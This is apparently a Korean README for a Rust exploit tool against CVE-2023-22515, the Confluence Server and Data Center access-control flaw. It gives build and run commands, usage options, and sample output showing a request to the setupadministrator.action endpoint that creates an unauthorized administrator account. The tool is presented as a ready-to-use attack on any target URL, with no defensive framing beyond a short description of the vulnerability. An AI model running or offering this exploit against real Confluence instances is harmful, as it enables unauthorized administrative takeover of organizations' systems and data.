
Rust 기반 CVE-2023-22515 익스플로잇으로, 손상된 접근 제어를 통해 Confluence Server 및 Data Center에서 승인되지 않은 관리자 계정을 생성합니다.
Confluence는 호주 소프트웨어 회사인 Atlassian이 개발한 웹 기반 엔터프라이즈 위키입니다. Atlassian은 일부 고객이 공개적으로 접근 가능한 Confluence 서버 및 데이터 센터 인스턴스에서 외부 공격자가 이전에 알려지지 않은 취약점을 악용하여 무단 Confluence 관리자 계정을 생성하고 Confluence 인스턴스에 접근했을 수 있다고 보고한 문제를 인지했습니다.
이 취약점은 CVE-2023-22515로 분류되었습니다.
먼저 다음 명령으로 컴파일을 수행합니다:
cargo build --release
다음 두 가지 방법으로 사용할 수 있습니다:
cargo run -- --target http://localhost --username "teste" --password "teste"
.\target\release\cve_2023_22515 --target http://localhost --username "teste" --password "teste"
이렇게 하면 도구에 대한 도움말이 표시됩니다. 지원되는 모든 옵션은 다음과 같습니다:
CVE-2023-22515
Usage: CVE_2023_22515 --target <TARGET> --username <USERNAME> --password <PASSWORD>
Options:
-t, --target <TARGET> Insert target
-u, --username <USERNAME> Insert username
-p, --password <PASSWORD> Insert password
-h, --help Print help
cargo run -- --target http://example.com --username "teste" --password "teste"
[!] Request for: http://example.com/setup/setupadministrator.action
[!] Creating Administrator account
[!] Checking the answer
[+] Username created successfully: teste
[+] Password created successfully: teste
[+] Exploit ending successfully!!